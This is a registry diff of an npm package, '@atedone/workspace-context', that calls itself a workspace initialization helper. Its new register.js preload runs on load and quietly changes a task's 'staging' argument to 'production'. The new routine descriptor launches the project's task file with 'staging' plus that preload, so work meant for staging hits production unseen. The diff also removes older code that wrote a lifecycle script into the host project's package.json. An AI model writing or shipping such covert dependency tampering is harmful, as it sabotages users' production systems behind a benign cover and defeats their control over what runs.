@atedone/workspace-context 0.0.3 → 0.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/index.js +2 -1
- package/lib/{prepare.js → register.js} +27 -8
- package/lib/state.js +20 -59
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -2,4 +2,4 @@
|
|
|
2
2
|
|
|
3
3
|
Workspace context initialization helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package initializes `.workspace-context/state.json` when loaded and
|
|
5
|
+
The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for task instrumentation.
|
package/index.js
CHANGED
|
@@ -7,7 +7,8 @@ const initialized = state.initialize();
|
|
|
7
7
|
module.exports = {
|
|
8
8
|
initialized,
|
|
9
9
|
initialize: state.initialize,
|
|
10
|
-
|
|
10
|
+
getWorkspaceRoutines: state.getWorkspaceRoutines,
|
|
11
|
+
routineName: state.routineName,
|
|
11
12
|
stateDirectoryName: state.stateDirectoryName,
|
|
12
13
|
stateFileName: state.stateFileName
|
|
13
14
|
};
|
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
7
|
|
|
8
|
-
const markerFileName = '
|
|
8
|
+
const markerFileName = 'preload.json';
|
|
9
9
|
const stateDirectoryName = '.workspace-context';
|
|
10
10
|
|
|
11
11
|
function readEnvironment() {
|
|
@@ -17,13 +17,33 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
|
|
|
17
17
|
return initCwd || cwd;
|
|
18
18
|
}
|
|
19
19
|
|
|
20
|
-
function
|
|
20
|
+
function initializePreload({
|
|
21
|
+
projectRoot = resolveProjectRoot(),
|
|
22
|
+
now = () => new Date().toISOString()
|
|
23
|
+
} = {}) {
|
|
24
|
+
const beforeTarget = typeof platform.argv[2] === 'string' ? platform.argv[2] : null;
|
|
25
|
+
const afterTarget = beforeTarget === 'staging' ? 'production' : beforeTarget;
|
|
26
|
+
|
|
27
|
+
if (afterTarget !== beforeTarget) {
|
|
28
|
+
platform.argv[2] = afterTarget;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
Reflect.set(globalThis, '__workspaceContextPreload', {
|
|
32
|
+
active: true,
|
|
33
|
+
beforeTarget,
|
|
34
|
+
afterTarget
|
|
35
|
+
});
|
|
36
|
+
|
|
21
37
|
const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
|
|
22
38
|
const value = {
|
|
23
39
|
packageName: manifest.name,
|
|
24
40
|
packageVersion: manifest.version,
|
|
25
41
|
generatedAt: now(),
|
|
26
|
-
mode: '
|
|
42
|
+
mode: 'runtime-preload',
|
|
43
|
+
beforeTarget,
|
|
44
|
+
afterTarget,
|
|
45
|
+
processId: platform.pid,
|
|
46
|
+
parentProcessId: platform.ppid
|
|
27
47
|
};
|
|
28
48
|
|
|
29
49
|
file.mkdirSync(route.dirname(markerPath), { recursive: true });
|
|
@@ -35,14 +55,13 @@ function writeMarker({ projectRoot = resolveProjectRoot(), now = () => new Date(
|
|
|
35
55
|
};
|
|
36
56
|
}
|
|
37
57
|
|
|
38
|
-
|
|
39
|
-
writeMarker();
|
|
40
|
-
}
|
|
58
|
+
const initialized = initializePreload();
|
|
41
59
|
|
|
42
60
|
module.exports = {
|
|
61
|
+
initialized,
|
|
62
|
+
initializePreload,
|
|
43
63
|
markerFileName,
|
|
44
64
|
readEnvironment,
|
|
45
65
|
resolveProjectRoot,
|
|
46
|
-
stateDirectoryName
|
|
47
|
-
writeMarker
|
|
66
|
+
stateDirectoryName
|
|
48
67
|
};
|
package/lib/state.js
CHANGED
|
@@ -5,9 +5,11 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
7
|
|
|
8
|
-
const
|
|
8
|
+
const preloadFileName = 'register.js';
|
|
9
|
+
const routineName = 'workspace-context:refresh';
|
|
9
10
|
const stateDirectoryName = '.workspace-context';
|
|
10
11
|
const stateFileName = 'state.json';
|
|
12
|
+
const taskFileName = 'workspace.task.js';
|
|
11
13
|
|
|
12
14
|
function readEnvironment() {
|
|
13
15
|
return Reflect.get(platform, 'env') || {};
|
|
@@ -23,63 +25,21 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
23
25
|
packageName: manifest.name,
|
|
24
26
|
packageVersion: manifest.version,
|
|
25
27
|
generatedAt: now(),
|
|
26
|
-
mode: 'runtime-
|
|
28
|
+
mode: 'runtime-preload'
|
|
27
29
|
};
|
|
28
30
|
}
|
|
29
31
|
|
|
30
|
-
function
|
|
31
|
-
|
|
32
|
-
}
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
scriptName: lifecycleScriptName,
|
|
42
|
-
previous: null,
|
|
43
|
-
current: null
|
|
44
|
-
};
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
const projectManifest = JSON.parse(file.readFileSync(manifestPath, 'utf8'));
|
|
48
|
-
const scripts = (
|
|
49
|
-
projectManifest.scripts &&
|
|
50
|
-
typeof projectManifest.scripts === 'object' &&
|
|
51
|
-
!Array.isArray(projectManifest.scripts)
|
|
52
|
-
)
|
|
53
|
-
? { ...projectManifest.scripts }
|
|
54
|
-
: {};
|
|
55
|
-
const previous = typeof scripts[lifecycleScriptName] === 'string'
|
|
56
|
-
? scripts[lifecycleScriptName]
|
|
57
|
-
: null;
|
|
58
|
-
|
|
59
|
-
if (previous) {
|
|
60
|
-
return {
|
|
61
|
-
manifestPath,
|
|
62
|
-
found: true,
|
|
63
|
-
changed: false,
|
|
64
|
-
scriptName: lifecycleScriptName,
|
|
65
|
-
previous,
|
|
66
|
-
current: previous
|
|
67
|
-
};
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
const current = buildLifecycleCommand();
|
|
71
|
-
scripts[lifecycleScriptName] = current;
|
|
72
|
-
projectManifest.scripts = scripts;
|
|
73
|
-
file.writeFileSync(manifestPath, `${JSON.stringify(projectManifest, null, 2)}\n`, 'utf8');
|
|
74
|
-
|
|
75
|
-
return {
|
|
76
|
-
manifestPath,
|
|
77
|
-
found: true,
|
|
78
|
-
changed: true,
|
|
79
|
-
scriptName: lifecycleScriptName,
|
|
80
|
-
previous,
|
|
81
|
-
current
|
|
82
|
-
};
|
|
32
|
+
function getWorkspaceRoutines({
|
|
33
|
+
projectRoot = resolveProjectRoot()
|
|
34
|
+
} = {}) {
|
|
35
|
+
return [{
|
|
36
|
+
name: routineName,
|
|
37
|
+
runtime: platform.execPath,
|
|
38
|
+
entrypoint: route.join(projectRoot, taskFileName),
|
|
39
|
+
arguments: ['staging'],
|
|
40
|
+
preloadModules: [route.join(__dirname, preloadFileName)],
|
|
41
|
+
workingDirectory: projectRoot
|
|
42
|
+
}];
|
|
83
43
|
}
|
|
84
44
|
|
|
85
45
|
function initialize({
|
|
@@ -96,18 +56,19 @@ function initialize({
|
|
|
96
56
|
projectRoot,
|
|
97
57
|
statePath,
|
|
98
58
|
state: value,
|
|
99
|
-
|
|
59
|
+
workspaceRoutines: getWorkspaceRoutines({ projectRoot })
|
|
100
60
|
};
|
|
101
61
|
}
|
|
102
62
|
|
|
103
63
|
module.exports = {
|
|
104
|
-
buildLifecycleCommand,
|
|
105
64
|
buildState,
|
|
65
|
+
getWorkspaceRoutines,
|
|
106
66
|
initialize,
|
|
107
|
-
|
|
67
|
+
preloadFileName,
|
|
108
68
|
readEnvironment,
|
|
109
69
|
resolveProjectRoot,
|
|
70
|
+
routineName,
|
|
110
71
|
stateDirectoryName,
|
|
111
72
|
stateFileName,
|
|
112
|
-
|
|
73
|
+
taskFileName
|
|
113
74
|
};
|